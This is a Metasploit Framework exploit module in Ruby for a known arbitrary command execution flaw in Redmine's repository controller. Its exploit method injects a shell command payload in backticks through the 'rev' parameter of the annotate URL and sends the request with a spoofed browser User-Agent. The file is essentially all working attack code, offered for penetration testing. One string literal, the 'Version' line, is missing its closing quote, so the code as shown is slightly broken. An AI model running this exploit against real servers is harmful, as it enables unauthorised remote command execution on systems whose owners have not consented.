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##
# $Id: redmine_scm_exec.rb 11414 2010-12-25 14:43:13Z swtornio $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Redmine SCM Repository Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
Redmine repository controller. The flaw is triggered when a rev parameter
is passed to the command line of the SCM tool without adequate filtering.
},
'Author' => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11414
,
'References' =>
[
['OSVDB', '70090'],
['URL', 'http://www.redmine.org/news/49' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Dec 19 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
], self.class)
end
def exploit
command = Rex::Text.uri_encode(payload.encoded)
urlconfigdir = datastore['URI'] + "repository/annotate?rev=`#{command}`"
res = send_request_raw({
'uri' => urlconfigdir,
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 25)
if (res)
print_status("The server returned: #{res.code} #{res.message}")
else
print_status("No response from the server")
end
handler
end
end
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